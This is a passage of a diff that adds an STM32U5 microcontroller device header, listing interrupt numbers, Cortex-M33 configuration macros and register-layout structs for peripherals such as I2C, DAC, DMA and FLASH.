RTC_S_IRQn = 3, /*!< RTC secure interrupt */ + TAMP_IRQn = 4, /*!< Tamper global interrupt */ + RAMCFG_IRQn = 5, /*!< RAMCFG global interrupt */ + FLASH_IRQn = 6, /*!< FLASH non-secure global interrupt */ + FLASH_S_IRQn = 7, /*!< FLASH secure global interrupt */ + GTZC_IRQn = 8, /*!< Global TrustZone Controller interrupt */ + RCC_IRQn = 9, /*!< RCC non secure global interrupt */ + RCC_S_IRQn = 10, /*!< RCC secure global interrupt */ + EXTI0_IRQn = 11, /*!< EXTI Line0 interrupt */ + EXTI1_IRQn = 12, /*!< EXTI Line1 interrupt */ + EXTI2_IRQn = 13, /*!< EXTI Line2 interrupt */ + EXTI3_IRQn = 14, /*!< EXTI Line3 interrupt */ + EXTI4_IRQn = 15, /*!< EXTI Line4 interrupt */ + EXTI5_IRQn = 16, /*!< EXTI Line5 interrupt */ + EXTI6_IRQn = 17, /*!< EXTI Line6 interrupt */ + EXTI7_IRQn = 18, /*!< EXTI Line7 interrupt */ + EXTI8_IRQn = 19, /*!< EXTI Line8 interrupt */ + EXTI9_IRQn = 20, /*!< EXTI Line9 interrupt */ + EXTI10_IRQn = 21, /*!< EXTI Line10 interrupt */ + EXTI11_IRQn = 22, /*!< EXTI Line11 interrupt */ + EXTI12_IRQn = 23, /*!< EXTI Line12 interrupt */ + EXTI13_IRQn = 24, /*!< EXTI Line13 interrupt */ + EXTI14_IRQn = 25, /*!< EXTI Line14 interrupt */ + EXTI15_IRQn = 26, /*!< EXTI Line15 interrupt */ + IWDG_IRQn = 27, /*!< IWDG global interrupt */ + GPDMA1_Channel0_IRQn = 29, /*!< GPDMA1 Channel 0 global interrupt */ + GPDMA1_Channel1_IRQn = 30, /*!< GPDMA1 Channel 1 global interrupt */ + GPDMA1_Channel2_IRQn = 31, /*!< GPDMA1 Channel 2 global interrupt */ + GPDMA1_Channel3_IRQn = 32, /*!< GPDMA1 Channel 3 global interrupt */ + GPDMA1_Channel4_IRQn = 33, /*!< GPDMA1 Channel 4 global interrupt */ + GPDMA1_Channel5_IRQn = 34, /*!< GPDMA1 Channel 5 global interrupt */ + GPDMA1_Channel6_IRQn = 35, /*!< GPDMA1 Channel 6 global interrupt */ + GPDMA1_Channel7_IRQn = 36, /*!< GPDMA1 Channel 7 global interrupt */ + ADC1_2_IRQn = 37, /*!< ADC1_2 global interrupt */ + DAC1_IRQn = 38, /*!< DAC1 global interrupt */ + FDCAN1_IT0_IRQn = 39, /*!< FDCAN1 interrupt 0 */ + FDCAN1_IT1_IRQn = 40, /*!< FDCAN1 interrupt 1 */ + TIM1_BRK_IRQn = 41, /*!< TIM1 Break interrupt */ + TIM1_UP_IRQn = 42, /*!< TIM1 Update interrupt */ + TIM1_TRG_COM_IRQn = 43, /*!< TIM1 Trigger and Commutation interrupt */ + TIM1_CC_IRQn = 44, /*!< TIM1 Capture Compare interrupt */ + TIM2_IRQn = 45, /*!< TIM2 global interrupt */ + TIM3_IRQn = 46, /*!< TIM3 global interrupt */ + TIM4_IRQn = 47, /*!< TIM4 global interrupt */ + TIM5_IRQn = 48, /*!< TIM5 global interrupt */ + TIM6_IRQn = 49, /*!< TIM6 global interrupt */ + TIM7_IRQn = 50, /*!< TIM7 global interrupt */ + TIM8_BRK_IRQn = 51, /*!< TIM8 Break interrupt */ + TIM8_UP_IRQn = 52, /*!< TIM8 Update interrupt */ + TIM8_TRG_COM_IRQn = 53, /*!< TIM8 Trigger and Commutation interrupt */ + TIM8_CC_IRQn = 54, /*!< TIM8 Capture Compare interrupt */ + I2C1_EV_IRQn = 55, /*!< I2C1 Event interrupt */ + I2C1_ER_IRQn = 56, /*!< I2C1 Error interrupt */ + I2C2_EV_IRQn = 57, /*!< I2C2 Event interrupt */ + I2C2_ER_IRQn = 58, /*!< I2C2 Error interrupt */ + SPI1_IRQn = 59, /*!< SPI1 global interrupt */ + SPI2_IRQn = 60, /*!< SPI2 global interrupt */ + USART1_IRQn = 61, /*!< USART1 global interrupt */ + USART2_IRQn = 62, /*!< USART2 global interrupt */ + USART3_IRQn = 63, /*!< USART3 global interrupt */ + UART4_IRQn = 64, /*!< UART4 global interrupt */ + UART5_IRQn = 65, /*!< UART5 global interrupt */ + LPUART1_IRQn = 66, /*!< LPUART1 global interrupt */ + LPTIM1_IRQn = 67, /*!< LPTIM1 global interrupt */ + LPTIM2_IRQn = 68, /*!< LPTIM2 global interrupt */ + TIM15_IRQn = 69, /*!< TIM15 global interrupt */ + TIM16_IRQn = 70, /*!< TIM16 global interrupt */ + TIM17_IRQn = 71, /*!< TIM17 global interrupt */ + COMP_IRQn = 72, /*!< COMP1 and COMP2 through EXTI Lines interrupts */ + OTG_HS_IRQn = 73, /*!< USB OTG HS global interrupt */ + CRS_IRQn = 74, /*!< CRS global interrupt */ + FMC_IRQn = 75, /*!< FSMC global interrupt */ + OCTOSPI1_IRQn = 76, /*!< OctoSPI1 global interrupt */ + PWR_S3WU_IRQn = 77, /*!< PWR wake up from Stop3 interrupt */ + SDMMC1_IRQn = 78, /*!< SDMMC1 global interrupt */ + SDMMC2_IRQn = 79, /*!< SDMMC2 global interrupt */ + GPDMA1_Channel8_IRQn = 80, /*!< GPDMA1 Channel 8 global interrupt */ + GPDMA1_Channel9_IRQn = 81, /*!< GPDMA1 Channel 9 global interrupt */ + GPDMA1_Channel10_IRQn = 82, /*!< GPDMA1 Channel 10 global interrupt */ + GPDMA1_Channel11_IRQn = 83, /*!< GPDMA1 Channel 11 global interrupt */ + GPDMA1_Channel12_IRQn = 84, /*!< GPDMA1 Channel 12 global interrupt */ + GPDMA1_Channel13_IRQn = 85, /*!< GPDMA1 Channel 13 global interrupt */ + GPDMA1_Channel14_IRQn = 86, /*!< GPDMA1 Channel 14 global interrupt */ + GPDMA1_Channel15_IRQn = 87, /*!< GPDMA1 Channel 15 global interrupt */ + I2C3_EV_IRQn = 88, /*!< I2C3 event interrupt */ + I2C3_ER_IRQn = 89, /*!< I2C3 error interrupt */ + SAI1_IRQn = 90, /*!< Serial Audio Interface 1 global interrupt */ + SAI2_IRQn = 91, /*!< Serial Audio Interface 2 global interrupt */ + TSC_IRQn = 92, /*!< Touch Sense Controller global interrupt */ + RNG_IRQn = 94, /*!< RNG global interrupt */ + FPU_IRQn = 95, /*!< FPU global interrupt */ + HASH_IRQn = 96, /*!< HASH global interrupt */ + LPTIM3_IRQn = 98, /*!< LPTIM3 global interrupt */ + SPI3_IRQn = 99, /*!< SPI3 global interrupt */ + I2C4_ER_IRQn = 100, /*!< I2C4 Error interrupt */ + I2C4_EV_IRQn = 101, /*!< I2C4 Event interrupt */ + MDF1_FLT0_IRQn = 102, /*!< MDF1 Filter 0 global interrupt */ + MDF1_FLT1_IRQn = 103, /*!< MDF1 Filter 1 global interrupt */ + MDF1_FLT2_IRQn = 104, /*!< MDF1 Filter 2 global interrupt */ + MDF1_FLT3_IRQn = 105, /*!< MDF1 Filter 3 global interrupt */ + UCPD1_IRQn = 106, /*!< UCPD1 global interrupt */ + ICACHE_IRQn = 107, /*!< Instruction cache global interrupt */ + LPTIM4_IRQn = 110, /*!< LPTIM4 global interrupt */ + DCACHE1_IRQn = 111, /*!< Data cache global interrupt */ + ADF1_IRQn = 112, /*!< ADF interrupt */ + ADC4_IRQn = 113, /*!< ADC4 (12bits) global interrupt */ + LPDMA1_Channel0_IRQn = 114, /*!< LPDMA1 SmartRun Channel 0 global interrupt */ + LPDMA1_Channel1_IRQn = 115, /*!< LPDMA1 SmartRun Channel 1 global interrupt */ + LPDMA1_Channel2_IRQn = 116, /*!< LPDMA1 SmartRun Channel 2 global interrupt */ + LPDMA1_Channel3_IRQn = 117, /*!< LPDMA1 SmartRun Channel 3 global interrupt */ + DMA2D_IRQn = 118, /*!< DMA2D global interrupt */ + DCMI_PSSI_IRQn = 119, /*!< DCMI/PSSI global interrupt */ + OCTOSPI2_IRQn = 120, /*!< OCTOSPI2 global interrupt */ + MDF1_FLT4_IRQn = 121, /*!< MDF1 Filter 4 global interrupt */ + MDF1_FLT5_IRQn = 122, /*!< MDF1 Filter 5 global interrupt */ + CORDIC_IRQn = 123, /*!< CORDIC global interrupt */ + FMAC_IRQn = 124, /*!< FMAC global interrupt */ + LSECSSD_IRQn = 125, /*!< LSECSSD and MSI_PLL_UNLOCK global interrupts */ + USART6_IRQn = 126, /*!< USART6 global interrupt */ + I2C5_ER_IRQn = 127, /*!< I2C5 Error interrupt */ + I2C5_EV_IRQn = 128, /*!< I2C5 Event interrupt */ + I2C6_ER_IRQn = 129, /*!< I2C6 Error interrupt */ + I2C6_EV_IRQn = 130, /*!< I2C6 Error interrupt */ + HSPI1_IRQn = 131, /*!< HSPI1 global interrupt */ +} IRQn_Type; + +/* =========================================================================================================================== */ +/* ================ Processor and Core Peripheral Section ================ */ +/* =========================================================================================================================== */ + +/* ------- Start of section using anonymous unions and disabling warnings ------- */ +#if defined (__CC_ARM) + #pragma push + #pragma anon_unions +#elif defined (__ICCARM__) + #pragma language=extended +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + +/* -------- Configuration of the Cortex-M33 Processor and Core Peripherals ------ */ +#define __CM33_REV 0x0000U /* Core revision r0p1 */ +#define __SAUREGION_PRESENT 1U /* SAU regions present */ +#define __MPU_PRESENT 1U /* MPU present */ +#define __VTOR_PRESENT 1U /* VTOR present */ +#define __NVIC_PRIO_BITS 4U /* Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0U /* Set to 1 if different SysTick Config is used */ +#define __FPU_PRESENT 1U /* FPU present */ +#define __DSP_PRESENT 1U /* DSP extension present */ + +/** @} */ /* End of group Configuration_of_CMSIS */ + +#include /*!< ARM Cortex-M33 processor and core peripherals */ +#include "system_stm32u5xx.h" /*!< STM32U5xx System */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_peripherals + * @{ + */ + +/** + * @brief CRC calculation unit + */ +typedef struct +{ + __IO uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ + __IO uint32_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ + uint32_t RESERVED2; /*!< Reserved, 0x0C */ + __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ + __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ +} CRC_TypeDef; + +/** + * @brief Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ + __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ + __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ + __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ + __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ + __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ + __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ + __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ + __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ + __IO uint32_t TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ + __IO uint32_t AUTOCR; +} I2C_TypeDef; + +/** + * @brief DAC + */ +typedef struct +{ + __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ + __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ + __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ + __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ + __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ + __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ + __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ + __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ + __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ + __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ + __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ + __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ + __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ + __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ + __IO uint32_t CCR; /*!< DAC calibration control register, Address offset: 0x38 */ + __IO uint32_t MCR; /*!< DAC mode control register, Address offset: 0x3C */ + __IO uint32_t SHSR1; /*!< DAC Sample and Hold sample time register 1, Address offset: 0x40 */ + __IO uint32_t SHSR2; /*!< DAC Sample and Hold sample time register 2, Address offset: 0x44 */ + __IO uint32_t SHHR; /*!< DAC Sample and Hold hold time register, Address offset: 0x48 */ + __IO uint32_t SHRR; /*!< DAC Sample and Hold refresh time register, Address offset: 0x4C */ + __IO uint32_t RESERVED[1]; + __IO uint32_t AUTOCR; /*!< DAC Autonomous mode register, Address offset: 0x54 */ +} DAC_TypeDef; + +/** + * @brief Clock Recovery System + */ +typedef struct +{ +__IO uint32_t CR; /*!< CRS ccontrol register, Address offset: 0x00 */ +__IO uint32_t CFGR; /*!< CRS configuration register, Address offset: 0x04 */ +__IO uint32_t ISR; /*!< CRS interrupt and status register, Address offset: 0x08 */ +__IO uint32_t ICR; /*!< CRS interrupt flag clear register, Address offset: 0x0C */ +} CRS_TypeDef; + +/** + * @brief HASH + */ +typedef struct +{ + __IO uint32_t CR; /*!< HASH control register, Address offset: 0x00 */ + __IO uint32_t DIN; /*!< HASH data input register, Address offset: 0x04 */ + __IO uint32_t STR; /*!< HASH start register, Address offset: 0x08 */ + __IO uint32_t HR[5]; /*!< HASH digest registers, Address offset: 0x0C-0x1C */ + __IO uint32_t IMR; /*!< HASH interrupt enable register, Address offset: 0x20 */ + __IO uint32_t SR; /*!< HASH status register, Address offset: 0x24 */ + uint32_t RESERVED[52]; /*!< Reserved, 0x28-0xF4 */ + __IO uint32_t CSR[54]; /*!< HASH context swap registers, Address offset: 0x0F8-0x1CC */ +} HASH_TypeDef; + +/** + * @brief HASH_DIGEST + */ +typedef struct +{ + __IO uint32_t HR[8]; /*!< HASH digest registers, Address offset: 0x310-0x32C */ +} HASH_DIGEST_TypeDef; + +/** + * @brief RNG + */ +typedef struct +{ + __IO uint32_t CR; /*!< RNG control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< RNG status register, Address offset: 0x04 */ + __IO uint32_t DR; /*!< RNG data register, Address offset: 0x08 */ + __IO uint32_t NSCR; /*!< RNG noise source control register , Address offset: 0x0C */ + __IO uint32_t HTCR; /*!< RNG health test configuration register, Address offset: 0x10 */ +} RNG_TypeDef; + +/** + * @brief Debug MCU + */ +typedef struct +{ + __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ + __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ + __IO uint32_t APB1FZR1; /*!< Debug MCU APB1 freeze register 1, Address offset: 0x08 */ + __IO uint32_t APB1FZR2; /*!< Debug MCU APB1 freeze register 2, Address offset: 0x0C */ + __IO uint32_t APB2FZR; /*!< Debug MCU APB2 freeze register, Address offset: 0x10 */ + __IO uint32_t APB3FZR; /*!< Debug MCU APB3 freeze register, Address offset: 0x14 */ + uint32_t RESERVED1[2];/*!< Reserved, 0x18 - 0x1C */ + __IO uint32_t AHB1FZR; /*!< Debug MCU AHB1 freeze register, Address offset: 0x20 */ + uint32_t RESERVED2; /*!< Reserved, 0x24 */ + __IO uint32_t AHB3FZR; /*!< Debug MCU AHB3 freeze register, Address offset: 0x28 */ +} DBGMCU_TypeDef; + +/** + * @brief DCMI + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCMI control register 1, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCMI status register, Address offset: 0x04 */ + __IO uint32_t RISR; /*!< DCMI raw interrupt status register, Address offset: 0x08 */ + __IO uint32_t IER; /*!< DCMI interrupt enable register, Address offset: 0x0C */ + __IO uint32_t MISR; /*!< DCMI masked interrupt status register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< DCMI interrupt clear register, Address offset: 0x14 */ + __IO uint32_t ESCR; /*!< DCMI embedded synchronization code register, Address offset: 0x18 */ + __IO uint32_t ESUR; /*!< DCMI embedded synchronization unmask register, Address offset: 0x1C */ + __IO uint32_t CWSTRTR; /*!< DCMI crop window start, Address offset: 0x20 */ + __IO uint32_t CWSIZER; /*!< DCMI crop window size, Address offset: 0x24 */ + __IO uint32_t DR; /*!< DCMI data register, Address offset: 0x28 */ +} DCMI_TypeDef; + +/** + * @brief DMA Controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< DMA secure configuration register, Address offset: 0x00 */ + __IO uint32_t PRIVCFGR; /*!< DMA privileged configuration register, Address offset: 0x04 */ + __IO uint32_t RCFGLOCKR; /*!< DMA lock configuration register, Address offset: 0x08 */ + __IO uint32_t MISR; /*!< DMA non secure masked interrupt status register, Address offset: 0x0C */ + __IO uint32_t SMISR; /*!< DMA secure masked interrupt status register, Address offset: 0x10 */ +} DMA_TypeDef; + +typedef struct +{ + __IO uint32_t CLBAR; /*!< DMA channel x linked-list base address register, Address offset: 0x50 + (x * 0x80) */ + uint32_t RESERVED1[2]; /*!< Reserved 1, Address offset: 0x54 -- 0x58 */ + __IO uint32_t CFCR; /*!< DMA channel x flag clear register, Address offset: 0x5C + (x * 0x80) */ + __IO uint32_t CSR; /*!< DMA channel x flag status register, Address offset: 0x60 + (x * 0x80) */ + __IO uint32_t CCR; /*!< DMA channel x control register, Address offset: 0x64 + (x * 0x80) */ + uint32_t RESERVED2[10];/*!< Reserved 2, Address offset: 0x68 -- 0x8C */ + __IO uint32_t CTR1; /*!< DMA channel x transfer register 1, Address offset: 0x90 + (x * 0x80) */ + __IO uint32_t CTR2; /*!< DMA channel x transfer register 2, Address offset: 0x94 + (x * 0x80) */ + __IO uint32_t CBR1; /*!< DMA channel x block register 1, Address offset: 0x98 + (x * 0x80) */ + __IO uint32_t CSAR; /*!< DMA channel x source address register, Address offset: 0x9C + (x * 0x80) */ + __IO uint32_t CDAR; /*!< DMA channel x destination address register, Address offset: 0xA0 + (x * 0x80) */ + __IO uint32_t CTR3; /*!< DMA channel x transfer register 3, Address offset: 0xA4 + (x * 0x80) */ + __IO uint32_t CBR2; /*!< DMA channel x block register 2, Address offset: 0xA8 + (x * 0x80) */ + uint32_t RESERVED3[8]; /*!< Reserved 3, Address offset: 0xAC -- 0xC8 */ + __IO uint32_t CLLR; /*!< DMA channel x linked-list address register, Address offset: 0xCC + (x * 0x80) */ +} DMA_Channel_TypeDef; + +/** + * @brief DMA2D Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< DMA2D Control Register, Address offset: 0x00 */ + __IO uint32_t ISR; /*!< DMA2D Interrupt Status Register, Address offset: 0x04 */ + __IO uint32_t IFCR; /*!< DMA2D Interrupt Flag Clear Register, Address offset: 0x08 */ + __IO uint32_t FGMAR; /*!< DMA2D Foreground Memory Address Register, Address offset: 0x0C */ + __IO uint32_t FGOR; /*!< DMA2D Foreground Offset Register, Address offset: 0x10 */ + __IO uint32_t BGMAR; /*!< DMA2D Background Memory Address Register, Address offset: 0x14 */ + __IO uint32_t BGOR; /*!< DMA2D Background Offset Register, Address offset: 0x18 */ + __IO uint32_t FGPFCCR; /*!< DMA2D Foreground PFC Control Register, Address offset: 0x1C */ + __IO uint32_t FGCOLR; /*!< DMA2D Foreground Color Register, Address offset: 0x20 */ + __IO uint32_t BGPFCCR; /*!< DMA2D Background PFC Control Register, Address offset: 0x24 */ + __IO uint32_t BGCOLR; /*!< DMA2D Background Color Register, Address offset: 0x28 */ + __IO uint32_t FGCMAR; /*!< DMA2D Foreground CLUT Memory Address Register, Address offset: 0x2C */ + __IO uint32_t BGCMAR; /*!< DMA2D Background CLUT Memory Address Register, Address offset: 0x30 */ + __IO uint32_t OPFCCR; /*!< DMA2D Output PFC Control Register, Address offset: 0x34 */ + __IO uint32_t OCOLR; /*!< DMA2D Output Color Register, Address offset: 0x38 */ + __IO uint32_t OMAR; /*!< DMA2D Output Memory Address Register, Address offset: 0x3C */ + __IO uint32_t OOR; /*!< DMA2D Output Offset Register, Address offset: 0x40 */ + __IO uint32_t NLR; /*!< DMA2D Number of Line Register, Address offset: 0x44 */ + __IO uint32_t LWR; /*!< DMA2D Line Watermark Register, Address offset: 0x48 */ + __IO uint32_t AMTCR; /*!< DMA2D AHB Master Timer Configuration Register, Address offset: 0x4C */ + uint32_t RESERVED[236]; /*!< Reserved, 0x50-0x3FC */ + __IO uint32_t FGCLUT[256]; /*!< DMA2D Foreground CLUT, Address offset:400-7FC */ + __IO uint32_t BGCLUT[256]; /*!< DMA2D Background CLUT, Address offset:800-BFC */ +} DMA2D_TypeDef; + +/** + * @brief Asynch Interrupt/Event Controller (EXTI) + */ +typedef struct +{ + __IO uint32_t RTSR1; /*!< EXTI Rising Trigger Selection Register 1, Address offset: 0x00 */ + __IO uint32_t FTSR1; /*!< EXTI Falling Trigger Selection Register 1, Address offset: 0x04 */ + __IO uint32_t SWIER1; /*!< EXTI Software Interrupt event Register 1, Address offset: 0x08 */ + __IO uint32_t RPR1; /*!< EXTI Rising Pending Register 1, Address offset: 0x0C */ + __IO uint32_t FPR1; /*!< EXTI Falling Pending Register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR1; /*!< EXTI Security Configuration Register 1, Address offset: 0x14 */ + __IO uint32_t PRIVCFGR1; /*!< EXTI Privilege Configuration Register 1, Address offset: 0x18 */ + uint32_t RESERVED1[17]; /*!< Reserved 1, 0x1C -- 0x5C */ + __IO uint32_t EXTICR[4]; /*!< EXIT External Interrupt Configuration Register, 0x60 -- 0x6C */ + __IO uint32_t LOCKR; /*!< EXTI Lock Register, Address offset: 0x70 */ + uint32_t RESERVED2[3]; /*!< Reserved 2, 0x74 -- 0x7C */ + __IO uint32_t IMR1; /*!< EXTI Interrupt Mask Register 1, Address offset: 0x80 */ + __IO uint32_t EMR1; /*!< EXTI Event Mask Register 1, Address offset: 0x84 */ +} EXTI_TypeDef; + +/** + * @brief FLASH Registers + */ +typedef struct +{ + __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ + uint32_t RESERVED1; /*!< Reserved1, Address offset: 0x04 */ + __IO uint32_t NSKEYR; /*!< FLASH non-secure key register, Address offset: 0x08 */ + __IO uint32_t SECKEYR; /*!< FLASH secure key register, Address offset: 0x0C */ + __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x10 */ + __IO uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x14 */ + __IO uint32_t PDKEY1R; /*!< FLASH Bank 1 power-down key register, Address offset: 0x18 */ + __IO uint32_t PDKEY2R; /*!< FLASH Bank 2 power-down key register, Address offset: 0x1C */ + __IO uint32_t NSSR; /*!< FLASH non-secure status register, Address offset: 0x20 */ + __IO uint32_t SECSR; /*!< FLASH secure status register, Address offset: 0x24 */ + __IO uint32_t NSCR; /*!< FLASH non-secure control register, Address offset: 0x28 */ + __IO uint32_t SECCR; /*!< FLASH secure control register, Address offset: 0x2C */ + __IO uint32_t ECCR; /*!< FLASH ECC register, Address offset: 0x30 */ + __IO uint32_t OPSR; /*!< FLASH OPSR register, Address offset: 0x34 */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x38-0x3C */ + __IO uint32_t OPTR; /*!< FLASH option control register, Address offset: 0x40 */ + __IO uint32_t NSBOOTADD0R; /*!< FLASH non-secure boot address 0 register, Address offset: 0x44 */ + __IO uint32_t NSBOOTADD1R; /*!< FLASH non-secure boot address 1 register, Address offset: 0x48 */ + __IO uint32_t SECBOOTADD0R; /*!< FLASH secure boot address 0 register, Address offset: 0x4C */ + __IO uint32_t SECWM1R1; /*!< FLASH secure watermark1 register 1, Address offset: 0x50 */ + __IO uint32_t SECWM1R2; /*!< FLASH secure watermark1 register 2, Address offset: 0x54 */ + __IO uint32_t WRP1AR; /*!< FLASH WRP1 area A address register, Address offset: 0x58 */ + __IO uint32_t WRP1BR; /*!< FLASH WRP1 area B address register, Address offset: 0x5C */ + __IO uint32_t SECWM2R1; /*!< FLASH secure watermark2 register 1, Address offset: 0x60 */ + __IO uint32_t SECWM2R2; /*!< FLASH secure watermark2 register 2, Address offset: 0x64 */ + __IO uint32_t WRP2AR; /*!< FLASH WRP2 area A address register, Address offset: 0x68 */ + __IO uint32_t WRP2BR; /*!< FLASH WRP2 area B address register, Address offset: 0x6C */ + __IO uint32_t OEM1KEYR1; /*!< FLASH OEM1 key register 1, Address offset: 0x70 */ + __IO uint32_t OEM1KEYR2; /*!< FLASH OEM1 key register 2, Address offset: 0x74 */ + __IO uint32_t OEM2KEYR1; /*!< FLASH OEM2 key register 1, Address offset: 0x78 */ + __IO uint32_t OEM2KEYR2; /*!< FLASH OEM2 key register 2, Address offset: 0x7C */ + __IO uint32_t SECBB1R1; /*!< FLASH secure block-based bank 1 register 1, Address offset: 0x80 */ + __IO uint32_t SECBB1R2; /*!< FLASH secure block-based bank 1 register 2, Address offset: 0x84 */ + __IO uint32_t SECBB1R3; /*!< FLASH secure block-based bank 1 register 3, Address offset: 0x88 */ + __IO uint32_t SECBB1R4; /*!< FLASH secure block-based bank 1 register 4, Address offset: 0x8C */ + __IO uint32_t SECBB1R5; /*!< FLASH secure block-based bank 1 register 5, Address offset: 0x90 */ + __IO uint32_t SECBB1R6; /*!< FLASH secure block-based bank 1 register 6, Address offset: 0x94 */ + __IO uint32_t SECBB1R7; /*!< FLASH secure block-based bank 1 register 7, Address offset: 0x98 */ + __IO uint32_t SECBB1R8; /*!< FLASH secure block-based bank 1 register 8, Address offset: 0x9C */ + __IO uint32_t SECBB2R1; /*!< FLASH secure block-based bank 2 register 1, Address offset: 0xA0 */ + __IO uint32_t SECBB2R2; /*!< FLASH secure block-based bank 2 register 2, Address offset: 0xA4 */ + __IO uint32_t SECBB2R3; /*!< FLASH secure block-based bank 2 register 3, Address offset: 0xA8 */ + __IO uint32_t SECBB2R4; /*!< FLASH secure block-based bank 2 register 4, Address offset: 0xAC */ + __IO uint32_t SECBB2R5; /*!< FLASH secure block-based bank 2 register 5, Address offset: 0xB0 */ + __IO uint32_t SECBB2R6; /*!< FLASH secure block-based bank 2 register 6, Address offset: 0xB4 */ + __IO uint32_t SECBB2R7; /*!< FLASH secure block-based bank 2 register 7, Address offset: 0xB8 */ + __IO uint32_t SECBB2R8; /*!< FLASH secure block-based bank 2 register 8, Address offset: 0xBC */ + __IO uint32_t SECHDPCR; /*!< FLASH secure HDP control register, Address offset: 0xC0 */ + __IO uint32_t PRIVCFGR; /*!< FLASH privilege configuration register, Address offset: 0xC4 */ + uint32_t RESERVED6[2]; /*!< Reserved6, Address offset: 0xC8-0xCC */ + __IO uint32_t PRIVBB1R1; /*!< FLASH privilege block-based bank 1 register 1, Address offset: 0xD0 */ + __IO uint32_t PRIVBB1R2; /*!< FLASH privilege block-based bank 1 register 2, Address offset: 0xD4 */ + __IO uint32_t PRIVBB1R3; /*!< FLASH privilege block-based bank 1 register 3, Address offset: 0xD8 */ + __IO uint32_t PRIVBB1R4; /*!< FLASH privilege block-based bank 1 register 4, Address offset: 0xDC */ + __IO uint32_t PRIVBB1R5; /*!< FLASH privilege block-based bank 1 register 5, Address offset: 0xE0 */ + __IO uint32_t PRIVBB1R6; /*!< FLASH privilege block-based bank 1 register 6, Address offset: 0xE4 */ + __IO uint32_t PRIVBB1R7; /*!< FLASH privilege block-based bank 1 register 7, Address offset: 0xE8 */ + __IO uint32_t PRIVBB1R8; /*!< FLASH privilege block-based bank 1 register 8, Address offset: 0xEC */ + __IO uint32_t PRIVBB2R1; /*!< FLASH privilege block-based bank 2 register 1, Address offset: 0xF0 */ + __IO uint32_t PRIVBB2R2; /*!< FLASH privilege block-based bank 2 register 2, Address offset: 0xF4 */ + __IO uint32_t PRIVBB2R3; /*!< FLASH privilege block-based bank 2 register 3, Address offset: 0xF8 */ + __IO uint32_t PRIVBB2R4; /*!< FLASH privilege block-based bank 2 register 4, Address offset: 0xFC */ + __IO uint32_t PRIVBB2R5; /*!< FLASH privilege block-based bank 2 register 5, Address offset: 0x100 */ + __IO uint32_t PRIVBB2R6; /*!< FLASH privilege block-based bank 2 register 6, Address offset: 0x104 */ + __IO uint32_t PRIVBB2R7; /*!< FLASH privilege block-based bank 2 register 7, Address offset: 0x108 */ + __IO uint32_t PRIVBB2R8; /*!< FLASH privilege block-based bank 2 register 8, Address offset: 0x10C */ +} FLASH_TypeDef; + +/** + * @brief FMAC + */ +typedef struct +{ + __IO uint32_t X1BUFCFG; /*!< FMAC X1 Buffer Configuration register, Address offset: 0x00 */ + __IO uint32_t X2BUFCFG; /*!< FMAC X2 Buffer Configuration register, Address offset: 0x04 */ + __IO uint32_t 